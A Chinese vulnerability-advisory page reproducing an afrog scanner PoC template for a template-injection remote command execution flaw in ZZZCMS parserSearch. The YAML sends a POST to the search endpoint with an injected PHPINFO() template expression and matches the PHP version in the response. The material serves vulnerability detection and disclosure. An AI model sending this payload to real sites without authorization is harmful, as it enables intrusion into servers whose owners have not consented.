zzzcms-parser-search-rce: ZZZCMS parserSearch 远程命令执行漏洞

日期: 2025-09-01 | 影响软件: zzzcms-parser-search-rce | POC: 已公开

漏洞描述

ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞 app="zzzcms"

PoC代码[已公开]

id: zzzcms-parser-search-rce

info:
  name: ZZZCMS parserSearch 远程命令执行漏洞
  author: daffainfo
  severity: critical
  description: ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞 app="zzzcms"
  reference:
    - http://wiki.peiqi.tech/wiki/cms/ZZZCMS/ZZZCMS%20parserSearch%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: POST
      path: /?location=search
      headers:
        Pragma: no-cache
        Cache-Control: no-cache
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
        Content-Type: text/plain
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
      body: |
        keys={if:=PHPINFO()}{end if}
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/zzzcms-parser-search-rce.yaml

相关漏洞推荐